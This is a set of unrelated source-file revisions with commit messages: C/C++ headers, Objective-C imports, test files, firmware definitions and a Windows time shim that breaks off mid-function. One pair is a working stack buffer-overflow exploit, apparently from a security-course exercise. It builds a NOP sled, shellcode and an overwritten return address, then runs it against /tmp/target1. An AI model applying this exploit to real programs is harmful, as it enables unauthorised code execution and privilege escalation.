#ifndef CJET_PEER_TESTING_H
#define CJET_PEER_TESTING_H

#ifdef TESTING
#define READ \
	fake_read
#else
#define READ \
	read
#endif

#endif

#ifndef CJET_PEER_TESTING_H
#define CJET_PEER_TESTING_H

#ifdef TESTING

#ifdef __cplusplus
extern "C" {
#endif
ssize_t fake_read(int fd, void *buf, size_t count);

#ifdef __cplusplus
}
#endif

#define READ \
	fake_read

#else

#define READ \
	read
#endif

#endif

Add "extern C" stuff for clean compile of tests.


#pragma once

// These numbers and strings need to be manually updated for a new version.
// Do this version number update as the very last commit for the new release version.
#define PROGRAM_VERSION_MAJOR       2
#define PROGRAM_VERSION_MINOR        0
#define PROGRAM_VERSION_MAINTENANCE  1
#define PROGRAM_VERSION_STRING "2.0.1a"

#define PROGRAM_BUILT_STRING __DATE__ " - " __TIME__

#define RESOURCE_VERSION_STRING "2,0,1\0"
#define RESOURCE_VERSION PROGRAM_VERSION_MAJOR,PROGRAM_VERSION_MINOR,PROGRAM_VERSION_MAINTENANCE

#pragma once

// These numbers and strings need to be manually updated for a new version.
// Do this version number update as the very last commit for the new release version.
#define PROGRAM_VERSION_MAJOR       2
#define PROGRAM_VERSION_MINOR        0
#define PROGRAM_VERSION_MAINTENANCE  1
#define PROGRAM_VERSION_STRING "2.0.1b SDL mod by Krejza9"

#define PROGRAM_BUILT_STRING __DATE__ " - " __TIME__

#define RESOURCE_VERSION_STRING "2,0,1\0"
#define RESOURCE_VERSION PROGRAM_VERSION_MAJOR,PROGRAM_VERSION_MINOR,PROGRAM_VERSION_MAINTENANCE

Update version to 2.0.1b SDL mod by Krejza9.


/** @file
  Intel Firmware Version Info (FVI) related definitions.

  @todo: update document/spec reference

  Copyright (c) 2016, Intel Corporation. All rights reserved.<BR>
  This program and the accompanying materials
  are licensed and made available under the terms and conditions of the BSD License
  which accompanies this distribution.  The full text of the license may be found at
  http://opensource.org/licenses/bsd-license.php

  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.

@par Specification Reference:
  System Management BIOS (SMBIOS) Reference Specification v3.0.0 dated 2015-Feb-12
  http://www.dmtf.org/sites/default/files/standards/documents/DSP0134_3.0.0.pdf

**/

#ifndef __FIRMWARE_VERSION_INFO_H__
#define __FIRMWARE_VERSION_INFO_H__

#include <IndustryStandard/SmBios.h>

#define INTEL_FIRMWARE_VERSION_INFO_GROUP_NAME    "Firmware Version Info"

#pragma pack(1)

///
/// Firmware Version Structure
///
typedef struct {
  UINT8                       MajorVersion;
  UINT8                       MinorVersion;
  UINT8                       Revision;
  UINT16                      BuildNumber;
} INTEL_FIRMWARE_VERSION;

///
/// Firmware Version Info (FVI) Structure
///
typedef struct {
  SMBIOS_TABLE_STRING         ComponentName;  ///< String Index of Component Name
  SMBIOS_TABLE_STRING         VersionString;  ///< String Index of Version String
  INTEL_FIRMWARE_VERSION      Version;        ///< Firmware version
} INTEL_FIRMWARE_VERSION_INFO;

///
/// SMBIOS OEM Type Intel Firmware Version Info (FVI) Structure
///
typedef struct {
  SMBIOS_STRUCTURE            Header;         ///< SMBIOS structure header
  UINT8                       Count;          ///< Number of FVI entries in this structure
  INTEL_FIRMWARE_VERSION_INFO Fvi[1];         ///< FVI structure(s)
} SMBIOS_TABLE_TYPE_OEM_INTEL_FVI;

#pragma pack()

#endif

IntelSiliconPkg: Add Intel Firmware Version Info (FVI) definitions

Adding Intel Firmware Version Info (FVI) related defines & structures.
FVI enables reporting the Firmware Versions using SMBIOS OEM Type.

Contributed-under: TianoCore Contribution Agreement 1.0
Signed-off-by: Giri P Mudusuru <25c53ebec15b492d82d7bf064153464c6e8fbfec@intel.com>
Reviewed-by: Jiewen Yao <364a90bfebd1f362ebb7b48e4bf8ec010adef203@intel.com>
Reviewed-by: Star Zeng <5c6bb72efe464613af94e84c05522a361b23844a@intel.com>


/*
 *  Hex escapes in C code can be confusing; this is non-portable:
 *
 *      const char *str = "\xffab";
 *
 *  GCC will warn:
 *
 *      warning: hex escape sequence out of range [enabled by default]
 *
 *  To avoid this, you can e.g. use the following form:
 *
 *      const char *str = "\xff" "ab";
 *
 *  If the C hex escape is terminated by a character that cannot be a
 *  valid hex digit, there is no need for this (but breaking up the
 *  string is still good practice), e.g.:
 *
 *      const char *str = "\xffquux";
 *
 *  Another hex escape always terminates a previous hex escape.  For
 *  instance, to write a user internal property constant with two
 *  leading 0xFF bytes:
 *
 *      const char *str = "\xff\xff" "quux";
 */

#include <stdio.h>

int main(int argc, char *argv[]) {
	const char *str = "\xffabcdef";  /* Generates a warning on GCC */
	printf("%s\n", str);
	return 0;
}

Add an example of C string hex escape quirks


//
// Toolkit header to include the main headers of the 'AFToolkit' library.
//

#pragma mark - Common Import

#import "AFLogHelper.h"
#import "AFFileHelper.h"
#import "AFPlatformHelper.h"
#import "AFKVO.h"
#import "AFArray.h"
#import "AFMutableArray.h"
#import "UITableViewCell+Universal.h"
#import "AFDBClient.h"
#import "AFView.h"
#import "AFViewController.h"

//
// Toolkit header to include the main headers of the 'AFToolkit' library.
//

#import "AFDefines.h"
#import "AFLogHelper.h"
#import "AFFileHelper.h"
#import "AFPlatformHelper.h"
#import "AFKVO.h"
#import "AFArray.h"
#import "AFMutableArray.h"
#import "UITableViewCell+Universal.h"
#import "AFDBClient.h"
#import "AFView.h"
#import "AFViewController.h"

Add defines header to toolkit header

Add defines header to toolkit header


#include <kotaka/paths.h>
#include <kotaka/log.h>
#include "~/test.h"

#include <status.h>

static void create()
{
}

void ignite(int count)
{
	call_out("bomb", 0, count);
}

static void bomb(int quota)
{
	int max;

	max = (int)sqrt((float)quota);

	if (quota % max != 0) {
		max = quota % max;
	}

	if (max > quota) {
		max = quota;
	}

	for (; quota > 0 && max > 0; quota--, max--) {
		clone_object("~/obj/bomb");
	}

	LOGD->post_message("test", LOG_INFO, quota + " bombs left to clone.");

	if (quota > 0) {
		call_out("bomb", 0, quota);
	}
}

#include <kotaka/paths.h>
#include <kotaka/log.h>
#include "~/test.h"

#include <status.h>

static void create()
{
}

void ignite(int count)
{
	call_out("bomb", 0, count);
}

void touchall()
{
	int i;

	LOGD->post_message("test", LOG_INFO, "Beginning touch");

	call_out("do_touch", 0, status(ST_OTABSIZE) - 1);
}

static void do_touch(int quota)
{
	int limit;

	limit = 1024;

	if (quota % limit != 0) {
		limit = quota % limit;
	}

	for (; quota >= 0 && limit > 0; quota--, limit--) {
		object bomb;

		if (bomb = find_object("~/obj/bomb" + quota)) {
			call_touch(bomb);
		}
	}

	LOGD->post_message("test", LOG_INFO, quota + " objects left to check for touches.");

	if (quota > 0) {
		call_out("do_touch", 0, quota);
	}
}

static void bomb(int quota)
{
	int limit;

	limit = 200;

	for (; quota > 0 && limit > 0; quota--, limit--) {
		clone_object("~/obj/bomb");
	}

	LOGD->post_message("test", LOG_INFO, quota + " bombs left to clone.");

	if (quota > 0) {
		call_out("bomb", 0, quota);
	}
}

Add call_touch to game test

Add call_touch to game test


/* ecp_alt.h with dummy types for MBEDTLS_ECP_ALT */
/*
 *  Copyright The Mbed TLS Contributors
 *  SPDX-License-Identifier: Apache-2.0
 *
 *  Licensed under the Apache License, Version 2.0 (the "License"); you may
 *  not use this file except in compliance with the License.
 *  You may obtain a copy of the License at
 *
 *  http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */

#ifndef ECP_ALT_H
#define ECP_ALT_H

typedef struct mbedtls_ecp_group
{
    int dummy;
}
mbedtls_ecp_group;

#if !defined(MBEDTLS_ECP_WINDOW_SIZE)

#define MBEDTLS_ECP_WINDOW_SIZE    6
#endif

#if !defined(MBEDTLS_ECP_FIXED_POINT_OPTIM)

#define MBEDTLS_ECP_FIXED_POINT_OPTIM  1
#endif

#endif /* ecp_alt.h */

/* ecp_alt.h with dummy types for MBEDTLS_ECP_ALT */
/*
 *  Copyright The Mbed TLS Contributors
 *  SPDX-License-Identifier: Apache-2.0
 *
 *  Licensed under the Apache License, Version 2.0 (the "License"); you may
 *  not use this file except in compliance with the License.
 *  You may obtain a copy of the License at
 *
 *  http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */

#ifndef ECP_ALT_H
#define ECP_ALT_H

typedef struct mbedtls_ecp_group
{
    const mbedtls_ecp_group_id id;
    const mbedtls_mpi P;
    const mbedtls_mpi A;
    const mbedtls_mpi B;
    const mbedtls_ecp_point G;
    const mbedtls_mpi N;
    const size_t pbits;
    const size_t nbits;
}
mbedtls_ecp_group;

#endif /* ecp_alt.h */

Define public fields of mbedtls_ecp_group in alt test header

And don't define configuration macros that only apply to the built-in
implementation.

Signed-off-by: Gilles Peskine <f805f64266d288fc5467baa7be6cd0ff366f477b@arm.com>


#ifndef AIDLL_AI_AICOMPONENT_H
#define AIDLL_AI_AICOMPONENT_H

#include <DirectXMath.h>

struct AIComponent
{
	int active = 0;
	int entityID = -1;

	int direction;
	int currentPos;
	int nextPos;

	DirectX::XMVECTOR waypoints[8];
};

#endif

#ifndef AIDLL_AI_AICOMPONENT_H
#define AIDLL_AI_AICOMPONENT_H

#include <DirectXMath.h>

struct AIComponent
{
	int active = 0;
	int entityID = -1;

	int direction;
	int currentWaypoint;
	int nextWaypoint;

	DirectX::XMVECTOR waypoints[8];
};

#endif

UPDATE changes made to names of variables in the AIComopnent


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target2"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[248];
  memset(buf, 0x90, 248);

  strncpy(buf+195, shellcode, 45);
  strncpy(buf+244, "\x08\xfd\xff\xbf", 4);
  //strncpy(buf+244, "\x12\x34\x56\x78", 4);

  args[0] = TARGET;
  args[1] = buf;
  args[2] = NULL;

  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[248];
  memset(buf, 0x90, 248);

  strncpy(buf+195, shellcode, 45);
  strncpy(buf+244, "\x08\xfd\xff\xbf", 4);
  //strncpy(buf+244, "\x12\x34\x56\x78", 4);

  args[0] = TARGET;
  args[1] = buf;
  args[2] = NULL;

  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

Make sure the sploit points to the correct target


#import <KPToolbox/KPViewController.h>

@class KPNavigationController;

@interface KPNavViewController : KPViewController

@property(readwrite, weak) KPNavigationController* navigationController;

@property(readwrite, strong) NSString* navigationTitle;

@property(readwrite, strong) NSButton* backButton;

@property(readwrite, strong) IBOutlet NSView* leftNavigationBarView;

@property(readwrite, strong) IBOutlet NSView* centerNavigationBarView;

@property(readwrite, strong) IBOutlet NSView* rightNavigationBarView;

@property(readwrite, strong) IBOutlet NSView* navigationToolbar;

- (void) viewWillAppear: (BOOL) animated;

- (void) viewDidAppear: (BOOL) animated;

- (void) viewWillDisappear: (BOOL) animated;

- (void) viewDidDisappear: (BOOL) animated;

@end

#import <KPToolbox/KPViewController.h>

@class KPNavigationController;

@interface KPNavViewController : KPViewController

@property(readwrite, weak) KPNavigationController* navigationController;

@property(readwrite, copy) NSString* navigationTitle;

@property(readwrite, strong) NSButton* backButton;

@property(readwrite, strong) IBOutlet NSView* leftNavigationBarView;

@property(readwrite, strong) IBOutlet NSView* centerNavigationBarView;

@property(readwrite, strong) IBOutlet NSView* rightNavigationBarView;

@property(readwrite, strong) IBOutlet NSView* navigationToolbar;

- (void) viewWillAppear: (BOOL) animated;

- (void) viewDidAppear: (BOOL) animated;

- (void) viewWillDisappear: (BOOL) animated;

- (void) viewDidDisappear: (BOOL) animated;

@end

Use a copy property semantics instead of strong.


#ifndef ADJACENT_DIFFERENCE_STREAM_PROVIDER_H
#define ADJACENT_DIFFERENCE_STREAM_PROVIDER_H

#include "StreamProvider.h"
#include "Utility.h"

template<typename T, typename Subtractor>
class AdjacentDifferenceStreamProvider
    : public StreamProvider<ReturnType<Subtractor, T&, T&>> {

public:
    using DiffType = ReturnType<Subtractor, T&, T&>;

    AdjacentDifferenceStreamProvider(StreamProviderPtr<T> source,
                                     Subtractor&& subtract)
        : source_(std::move(source)), subtract_(subtract) {}

    std::shared_ptr<DiffType> get() override {
        return std::make_shared<DiffType>(subtract_(*second_, *first_));
    }

    bool advance() override {
        if(first_advance_) {
            first_advance_ = false;
            if(source_->advance()) {
                first_ = source_->get();
            } else {
                return false;
            }
            if(source_->advance()) {
                second_ = source_->get();
            } else {
                first_.reset();
                return false;
            }
            return true;
        }

        first_ = std::move(second_);
        if(source_->advance()) {
            second_ = source_->get();
            return true;
        }
        first_.reset();
        return false;
    }

private:
    StreamProviderPtr<T> source_;
    Subtractor subtract_;
    std::shared_ptr<T> first_;
    std::shared_ptr<T> second_;
    bool first_advance_ = true;
};

#endif

#ifndef ADJACENT_DIFFERENCE_STREAM_PROVIDER_H
#define ADJACENT_DIFFERENCE_STREAM_PROVIDER_H

#include "StreamProvider.h"
#include "Utility.h"

template<typename T, typename Subtractor>
class AdjacentDifferenceStreamProvider
    : public StreamProvider<ReturnType<Subtractor, T&, T&>> {

public:
    using DiffType = ReturnType<Subtractor, T&, T&>;

    AdjacentDifferenceStreamProvider(StreamProviderPtr<T> source,
                                     Subtractor&& subtract)
        : source_(std::move(source)), subtract_(subtract) {}

    std::shared_ptr<DiffType> get() override {
        return result_;
    }

    bool advance() override {
        if(first_advance_) {
            first_advance_ = false;
            if(source_->advance()) {
                first_ = source_->get();
            } else {
                return false;
            }
            if(source_->advance()) {
                second_ = source_->get();
            } else {
                first_.reset();
                return false;
            }
            result_ = std::make_shared<DiffType>(subtract_(*second_, *first_));
            return true;
        }

        first_ = std::move(second_);
        if(source_->advance()) {
            second_ = source_->get();
            result_ = std::make_shared<DiffType>(subtract_(*second_, *first_));
            return true;
        }
        first_.reset();
        result_.reset();
        return false;
    }

private:
    StreamProviderPtr<T> source_;
    Subtractor subtract_;
    std::shared_ptr<T> first_;
    std::shared_ptr<T> second_;
    std::shared_ptr<DiffType> result_;
    bool first_advance_ = true;
};

#endif

Make adjacent difference getter consistent with other providers


#ifndef LACO_COMMANDS_H
#define LACO_COMMANDS_H

struct LacoState;

typedef void (*LacoHandler)(struct LacoState* laco, const char** arguments);

struct LacoCommand {
  const char** matches;
  LacoHandler handler;
};

void laco_dispatch(const struct LacoCommand* commands,
                   struct LacoState* laco, const char* command_keyword,
                   const char** arguments);

/**
 * Gets passed ever line to see if it matches one of the REPL command. If it
 * does, that command will be executed.
 */
void laco_handle_command(struct LacoState* laco, char* line);

#endif /* LACO_COMMANDS_H */

#ifndef LACO_COMMANDS_H
#define LACO_COMMANDS_H

struct LacoState;

typedef void (*LacoHandler)(struct LacoState* laco, const char** arguments);

struct LacoCommand {
  const char** matches;
  LacoHandler handler;
};

/**
 * Goes through each instance from the list of commands and see if there is
 * a match with for command_keyword. When there is a match, the defined
 * handler inside the LacoCommand gets called -- passing in LacoState and
 * the arguments. The list of commands expects the last entry of the array
 * to be `{ NULL, NULL }` for ease of iteration.
 */
void laco_dispatch(const struct LacoCommand* commands,
                   struct LacoState* laco, const char* command_keyword,
                   const char** arguments);

/**
 * Gets passed ever line to see if it matches one of the REPL command. If it
 * does, that command will be executed.
 */
void laco_handle_command(struct LacoState* laco, char* line);

#endif /* LACO_COMMANDS_H */

Add documentation for the laco_dispatch function


/*
 * context_del.c -- delete an entry from the context/profile list
 *
 * This code is Copyright (c) 2002, by the authors of nmh.  See the
 * COPYRIGHT file in the root directory of the nmh distribution for
 * complete copyright information.
 */

#include <h/mh.h>

/*
 * Delete a key/value pair from the context/profile list.
 * Return 0 if key is found, else return 1.
 */

int
context_del (char *key)
{
    struct node *np, *pp;

    for (np = m_defs, pp = NULL; np; pp = np, np = np->n_next) {
	if (!strcasecmp (np->n_name ? np->n_name : "", key ? key : "")) {
	    if (!np->n_context)
		admonish (NULL, "bug: context_del(key=\"%s\")", np->n_name);
	    if (pp)
		pp->n_next = np->n_next;
	    else
		m_defs = np->n_next;
	    free (np->n_name);
	    if (np->n_field)
		free (np->n_field);
	    free ((char *) np);
	    ctxflags |= CTXMOD;
	    return 0;
	}
    }

    return 1;
}

/*
 * context_del.c -- delete an entry from the context/profile list
 *
 * This code is Copyright (c) 2002, by the authors of nmh.  See the
 * COPYRIGHT file in the root directory of the nmh distribution for
 * complete copyright information.
 */

#include <h/mh.h>
#include <h/utils.h>

/*
 * Delete a key/value pair from the context/profile list.
 * Return 0 if key is found, else return 1.
 */

int
context_del (char *key)
{
    struct node *np, *pp;

    for (np = m_defs, pp = NULL; np; pp = np, np = np->n_next) {
	if (!strcasecmp (np->n_name ? np->n_name : "", key ? key : "")) {
	    if (!np->n_context)
		admonish (NULL, "bug: context_del(key=\"%s\")", np->n_name);
	    if (pp)
		pp->n_next = np->n_next;
	    else
		m_defs = np->n_next;
	    free (np->n_name);
            mh_xfree(np->n_field);
	    free ((char *) np);
	    ctxflags |= CTXMOD;
	    return 0;
	}
    }

    return 1;
}

Replace `if (p) free(p)' with `mh_xfree(p)'.


// RUN: clang -checker-simple -verify %s
// RUN: clang -checker-simple -analyzer-store-region -verify %s

struct s {
  int data;
  int data_array[10];
};

typedef struct {
  int data;
} STYPE;

void g1(struct s* p);

void f(void) {
  int a[10];
  int (*p)[10];
  p = &a;
  (*p)[3] = 1;

  struct s d;
  struct s *q;
  q = &d;
  q->data = 3;
  d.data_array[9] = 17;
}

void f2() {
  char *p = "/usr/local";
  char (*q)[4];
  q = &"abc";
}

void f3() {
  STYPE s;
}

void f4() {
  int a[] = { 1, 2, 3};
  int b[3] = { 1, 2 };
}

void f5() {
  struct s data;
  g1(&data);
}

// RUN: clang -checker-simple -verify %s &&
// RUN: clang -checker-simple -analyzer-store-region -verify %s

struct s {
  int data;
  int data_array[10];
};

typedef struct {
  int data;
} STYPE;

void g1(struct s* p);

void f(void) {
  int a[10];
  int (*p)[10];
  p = &a;
  (*p)[3] = 1;

  struct s d;
  struct s *q;
  q = &d;
  q->data = 3;
  d.data_array[9] = 17;
}

void f2() {
  char *p = "/usr/local";
  char (*q)[4];
  q = &"abc";
}

void f3() {
  STYPE s;
}

void f4() {
  int a[] = { 1, 2, 3};
  int b[3] = { 1, 2 };
}

void f5() {
  struct s data;
  g1(&data);
}

Append the test runs with '&&'.

Append the test runs with '&&'.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58851 91177308-0d34-0410-b5e6-96231b3b80d8


#include <stdint.h>
#include "stm8s208s.h"

void main(void)
{
    MEMLOC(CLK_CKDIVR) = 0x00; // Set the frequency to 16 MHz
    BITSET(CLK_PCKENR1, 7);

    // Configure timer
    // 1000 ticks per second
    MEMLOC(TIM1_PSCRH) = (16000>>8);
    MEMLOC(TIM1_PSCRL) = (uint8_t)(16000 & 0xff);
    // Enable timer
    MEMLOC(TIM1_CR1) = 0x01;

    /* Set PB0 as output */
    BITSET(PB_DDR, 0);

    /* Set low speed mode */
    BITRST(PB_CR2, 0);

    /* Set Push/Pull mode */
    BITSET(PB_CR1, 0);

    for(;;)
    {
        if ((MEMLOC(TIM1_CNTRL)) % 1000 <= 500) {
            BITTOG(PB_ODR, 0);
        }
    }
}

#include <stdint.h>
#include "stm8s208s.h"

void main(void)
{
    MEMLOC(CLK_CKDIVR) = 0x00; /* Set the frequency to 16 MHz */
    BITSET(CLK_PCKENR1, 7); /* Enable clk to TIM1 */

    // Configure timer
    // 250 ticks per second
    MEMLOC(TIM1_PSCRH) = (64000>>8);
    MEMLOC(TIM1_PSCRL) = (uint8_t)(64000 & 0xff);

    MEMLOC(TIM1_CR1) = 0x01; /* Enable timer */

    BITSET(PB_DDR, 0); /* Set PB0 as output */
    BITRST(PB_CR2, 0); /* Set low speed mode */
    BITSET(PB_CR1, 0); /* Set Push/Pull mode */

    for(;;) {
        if ((MEMLOC(TIM1_CNTRL)) % 250 <= 125) {
            BITTOG(PB_ODR, 0);
        }
    }
}

Reduce ticks to 250 to use 8bit diff

Reduce ticks to 250 to use 8bit diff


#include "maxminddb_test_helper.h"

void run_tests(int mode, const char *mode_desc)
{
    const char *filename = "MaxMind-DB-test-decoder.mmdb";
    const char *path = test_database_path(filename);
    MMDB_s *mmdb = open_ok(path, mode, mode_desc);
    free((void *)path);

    const char *ip = "1.1.1.1";
    MMDB_lookup_result_s result =
        lookup_string_ok(mmdb, ip, filename, mode_desc);

    MMDB_entry_data_s entry_data;
    char *lookup_path[] = { "array", "0", NULL };
    int status = MMDB_aget_value(&result.entry, &entry_data, lookup_path);

    cmp_ok(status, "==", MMDB_SUCCESS,
           "status for MMDB_get_value() is MMDB_SUCCESS");
    ok(entry_data.has_data, "found a value with MMDB_aget_value");
    cmp_ok(entry_data.type, "==", MMDB_DATA_TYPE_UINT32,
           "returned entry type is uint32");
    cmp_ok(entry_data.uint32, "==", 1, "entry value is 1");

    MMDB_close(mmdb);
    free(mmdb);
}

int main(void)
{
    plan(NO_PLAN);
    for_all_modes(&run_tests);
    done_testing();
}

#include "maxminddb_test_helper.h"

void run_tests(int mode, const char *mode_desc)
{
    const char *filename = "MaxMind-DB-test-decoder.mmdb";
    const char *path = test_database_path(filename);
    MMDB_s *mmdb = open_ok(path, mode, mode_desc);
    free((void *)path);

    const char *ip = "1.1.1.1";
    MMDB_lookup_result_s result =
        lookup_string_ok(mmdb, ip, filename, mode_desc);

    MMDB_entry_data_s entry_data;
    char *lookup_path[] = { "array", "0", NULL };
    int status = MMDB_aget_value(&result.entry, &entry_data, lookup_path);

    cmp_ok(status, "==", MMDB_SUCCESS,
           "status for MMDB_aget_value() is MMDB_SUCCESS");
    ok(entry_data.has_data, "found a value with MMDB_aget_value");
    cmp_ok(entry_data.type, "==", MMDB_DATA_TYPE_UINT32,
           "returned entry type is uint32");
    cmp_ok(entry_data.uint32, "==", 1, "entry value is 1");

    MMDB_close(mmdb);
    free(mmdb);
}

int main(void)
{
    plan(NO_PLAN);
    for_all_modes(&run_tests);
    done_testing();
}

Fix typo in test description

Fix typo in test description


//
// Created by dar on 1/29/16.
//

#ifndef C003_OS_H
#define C003_OS_H

enum class OS {
    WIN32 = 0,
    UNIX,
    ANDROID,
    APPLE
};

constexpr const OS OPERATING_SYTEM =
#ifdef _WIN32
    OS::WIN32
#elif __APPLE__
    OS::APPLE
#elif __ANDROID__
    OS::ANDROID
#elif __unix__
    OS::UNIX
#endif
;

constexpr const bool IS_MOBILE = OPERATING_SYTEM == OS::ANDROID || OPERATING_SYTEM == OS::APPLE;

#endif //C003_OS_H

//
// Created by dar on 1/29/16.
//

#ifndef C003_OS_H
#define C003_OS_H

enum class OS {
    WIN32 = 0,
    UNIX,
    ANDROID,
    IOS,
    MAC
};

#ifdef __APPLE__
#include "TargetConditionals.h"
#endif

constexpr const OS OPERATING_SYTEM =
#ifdef _WIN32
    OS::WIN32
#elif __APPLE__
    #if TARGET_IPHONE_SIMULATOR || TARGET_OS_IPHONE
        OS::IOS
    #elif TARGET_OS_MAC
        OS::MAC
    #else
        #error "Unknown Apple platform"
    #endif
#elif __ANDROID__
    OS::ANDROID
#elif __unix__
    OS::UNIX
#else
    #error "Unknown platform"
#endif
;

constexpr const bool IS_MOBILE = OPERATING_SYTEM == OS::ANDROID || OPERATING_SYTEM == OS::IOS;

#endif //C003_OS_H

Split APPLE operating system to IOS and MAC


#ifndef LIBEFP_PHYS_CONST_H
#define LIBEFP_PHYS_CONST_H

/* Bohr radius in angstroms */
#define BOHR_RADIUS 0.52917724924

#endif /* LIBEFP_PHYS_CONST_H */

#ifndef LIBEFP_PHYS_CONST_H
#define LIBEFP_PHYS_CONST_H

/* Bohr radius in angstroms */
#define BOHR_RADIUS 0.52917721092

#endif /* LIBEFP_PHYS_CONST_H */

Use value from CODATA 2010.

Use value from CODATA 2010.


/**
 * @file
 * @brief Implements ARCH interface for sparc processors
 *
 * @date 14.02.10
 * @author Eldar Abusalimov
 */

#include <hal/arch.h>
#include <asm/cache.h>
#include <hal/ipl.h>

void arch_init(void) {
	cache_enable();
}

void arch_idle(void) {
}

unsigned int arch_excep_disable(void) {
	unsigned int ret;
	unsigned int tmp;
	__asm__ __volatile__ (
		"rd %%psr, %0\n\t"
		"andn %0, %2, %1\n\t"
		"wr %1, 0, %%psr\n\t"
		" nop; nop; nop\n"
		: "=&r" (ret), "=r" (tmp)
		: "i" (PSR_ET)
		: "memory"
	);
	return ret;
}

void __attribute__ ((noreturn)) arch_shutdown(arch_shutdown_mode_t mode) {

	ipl_disable();
	arch_excep_disable();
	asm ("ta 0");

	while (1) {}
}

/**
 * @file
 * @brief Implements ARCH interface for sparc processors
 *
 * @date 14.02.10
 * @author Eldar Abusalimov
 */

#include <hal/arch.h>
#include <asm/cache.h>
#include <hal/ipl.h>

void arch_init(void) {
	cache_enable();
}

void arch_idle(void) {
	__asm__ __volatile__ ("wr %g0, %asr19");
}

unsigned int arch_excep_disable(void) {
	unsigned int ret;
	unsigned int tmp;
	__asm__ __volatile__ (
		"rd %%psr, %0\n\t"
		"andn %0, %2, %1\n\t"
		"wr %1, 0, %%psr\n\t"
		" nop; nop; nop\n"
		: "=&r" (ret), "=r" (tmp)
		: "i" (PSR_ET)
		: "memory"
	);
	return ret;
}

void __attribute__ ((noreturn)) arch_shutdown(arch_shutdown_mode_t mode) {

	ipl_disable();
	arch_excep_disable();
	asm ("ta 0");

	while (1) {}
}

Add power down mode for idle circle

sparc: Add power down mode for idle circle


#ifndef __MINTPACK_RANDOM_H__
#define __MINTPACK_RANDOM_H__

#include <mintomic/mintomic.h>

//-------------------------------------
//  PRNG that seeds itself using various information from the environment.
//  generate() is uniformly distributed across all 32-bit integer values.
//  generateUnique() returns unique integers 2^32 times in a row, then repeats the sequence.
//-------------------------------------
class Random
{
private:
    static const int kNumOffsets = 8;
    static mint_atomic32_t m_sharedCounter;
    uint32_t m_value;
    uint32_t m_offsets[kNumOffsets];

public:
    Random();
    uint32_t generate32();
    uint32_t generateUnique32();
    uint64_t generate64()
    {
        return (((uint64_t) generate32()) << 32) | generate32();
    }
};

#endif // __MINTPACK_RANDOM_H__

#ifndef __MINTPACK_RANDOM_H__
#define __MINTPACK_RANDOM_H__

#include <mintomic/mintomic.h>

//-------------------------------------
//  PRNG that seeds itself using various information from the environment.
//  generate32() is uniformly distributed across all 32-bit integer values.
//  generateUnique32() returns unique integers 2^32 times in a row, then repeats the sequence.
//-------------------------------------
class Random
{
private:
    static const int kNumOffsets = 8;
    static mint_atomic32_t m_sharedCounter;
    uint32_t m_value;
    uint32_t m_offsets[kNumOffsets];

public:
    Random();
    uint32_t generate32();
    uint32_t generateUnique32();
    uint64_t generate64()
    {
        return (((uint64_t) generate32()) << 32) | generate32();
    }
};

#endif // __MINTPACK_RANDOM_H__

Fix function names in Random comment

Fix function names in Random comment


/*
 * QLogic iSCSI HBA Driver
 * Copyright (c)  2003-2013 QLogic Corporation
 *
 * See LICENSE.qla4xxx for copyright and licensing details.
 */

#define QLA4XXX_DRIVER_VERSION	"5.03.00-k11"

/*
 * QLogic iSCSI HBA Driver
 * Copyright (c)  2003-2013 QLogic Corporation
 *
 * See LICENSE.qla4xxx for copyright and licensing details.
 */

#define QLA4XXX_DRIVER_VERSION	"5.04.00-k0"

Update driver version to 5.04.00-k0

[SCSI] qla4xxx: Update driver version to 5.04.00-k0

Signed-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>
Signed-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>


#ifdef _WIN32

#include <time.h>
#include <winsock2.h>
#include <windows.h>

#if defined(_MSC_VER) || defined(_MSC_EXTENSIONS)
#define DELTA_EPOCH_IN_MICROSECS 11644473600000000Ui64
#else
#define DELTA_EPOCH_IN_MICROSECS 11644473600000000ULL
#endif

struct timeval;

int gettimeofday(struct timeval *tv, struct timezone *tz)
{
	FILETIME ft;
	unsigned __int64 tmpres = 0;

	if (tv)
	{
		GetSystemTimeAsFileTime(&ft);

		tmpres |= ft.dwHighDateTime;
		tmpres <<= 32;
		tmpres |= ft.dwLowDateTime;

		tmpres /= 10; /*convert into microseconds*/
		/*converting file time to unix epoch*/
		tmpres -= DELTA_EPOCH_IN_MICROSECS;
		tv->tv_sec = (long)(tmpres / 1000000UL);
		tv->tv_usec = (long)(tmpres % 1000000UL);
	}

	return 0;
}

#else

void fz_gettimeofday_dummy() { }

#endif

#ifdef _WIN32

#include <time.h>
#ifndef METRO
#include <winsock2.h>
#endif
#include <windows.h>

#if defined(_MSC_VER) || defined(_MSC_EXTENSIONS)
#define DELTA_EPOCH_IN_MICROSECS 11644473600000000Ui64
#else
#define DELTA_EPOCH_IN_MICROSECS 11644473600000000ULL
#endif

struct timeval;

int gettimeofday(struct timeval *tv, struct timezone *tz)
{
	FILETIME ft;
	unsigned __int64 tmpres = 0;

	if (tv)
	{
		GetSystemTimeAsFileTime(&ft);

		tmpres |= ft.dwHighDateTime;
		tmpres <<= 32;
		tmpres |= ft.dwLowDateTime;

